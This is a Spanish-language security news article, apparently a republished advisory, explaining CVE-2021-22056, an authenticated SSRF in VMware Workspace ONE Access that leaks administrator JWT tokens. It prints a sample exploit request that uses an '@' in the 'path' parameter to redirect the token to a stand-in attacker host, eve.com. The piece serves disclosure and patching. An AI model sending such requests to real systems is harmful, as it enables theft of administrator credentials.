Seguridad

Robo de token JWT en VMWare Workspace ONE Access

Una vulnerabilidad en VMWare Workspace ONE Access (antes conocido como VMware Identity Manager), el cual ofrece autenticación multifactor a otros servicios, permite obtener una credencial JWT con permisos administrador aprovechando un SSRF.

El equipo de investigadores de Assetnote ha descubierto una vulnerabilidad en la función encargada de monitorizar las instancias de VMWare Workspace ONE, por la cual se puede obtener tokens JWT con permisos administrador. Para la explotación de la vulnerabilidad se aprovecha un SSRF (del inglés ‘Server-side request forgery’) el cual permite realizar una petición con la credencial a un servidor controlado por el atacante.

VMWare Identity Manager, ahora conocido como Workspace ONE Access, es utilizado para proveer autenticación multifactor, acceso restringido e inicio de sesión único a servicios SaaS, sitios web y aplicaciones móviles. Este producto es utilizado por múltiples aplicaciones empresariales de diferentes sectores para ofrecer un método de autenticación centralizado.

Para la explotación se requiere disponer de credenciales de acceso al gestor de credenciales de VMWare, con el fin de poder realizar la llamada a la función vulnerable de la ruta ‘/SAAS/API/1.0/REST/system/health/instanceHealth’. Esta ruta es la encargada de solicitar monitorizar una de las instancias registradas en el servicio. Para ello, recibe dos parámetros: ‘hostName’ (el servidor remoto a monitorizar) y ‘path’ la ruta del servidor remoto a llamar. Aunque una lista blanca comprueba que la primera pertenezca a una de las instancias configuradas, la segunda no se verifica, pudiéndose utilizar en la explotación. Si se comprueba el código de la función:

Construcción de la url que se llamará desde VMWare Identity Manager. Fuente: Assetnote.

El primer condicional construye la url usando el ‘hostname’ y el ‘path’, y aunque en una función previa se verifica ‘hostname’ (por ejemplo ‘bob.com’) al no comprobar si la ruta comienza por una barra (‘/’) se puede aprovechar el símbolo de arroba (como por ejemplo ‘@eve.com’) para construir así la url ‘bob.com@eve.com’, siendo ‘eve.com’ el verdadero destinatario de la petición. El ejemplo completo de la explotación sería: ‘/SAAS/API/1.0/REST/system/health/instanceHealth?hostName=bob.com&path=@eve.com’.

La url construida del anterior condicional, será utilizada en la función ‘getStatusFromRemoteHost’, la cual realiza una petición a la url incluyendo el token con permisos de administrador. Si el servidor destino es controlado por un atacante, tal y como se ha mostrado en el ejemplo anterior, éste recibirá el token:

Función para obtener el estado del servidor remoto, indicando la línea con el token a enviar. Fuente: Assetnote.

La vulnerabilidad ha sido identificada con el CVE-2021-22056 con una puntuación de 7.5 (nivel de riesgo alto). El equipo de VMWare ha lanzado un aviso con esta y otras vulnerabilidades, las cuales ya se encuentran parcheadas. La vulnerabilidad fue descubierta el 5 de octubre de 2021, y resuelta por VMWare el pasado 17 de diciembre. Se recomienda actualizar lo antes posible a la última versión disponible con el fin de resolver estas incidencias.

Recordamos que para evitar vulnerabilidades en los productos de su organización, existen servicios como SANA, el cual permite recibir alertas de seguridad de estas y otras vulnerabilidades, con el fin de poder aplicar parches de seguridad y mitigar los fallos tras su anuncio.

Más información:

Robo de tokens JWT como admin a través de SSRF tras a la autenticación (CVE-2021-22056):
https://blog.assetnote.io/2022/01/17/workspace-one-access-ssrf/

La entrada Robo de token JWT en VMWare Workspace ONE Access se publicó primero en Una al Día.

Powered by WPeMatico

Gustavo Genez

Informático de corazón y apasionado por la tecnología. La misión de este blog es llegar a los usuarios y profesionales con información y trucos acerca de la Seguridad Informática.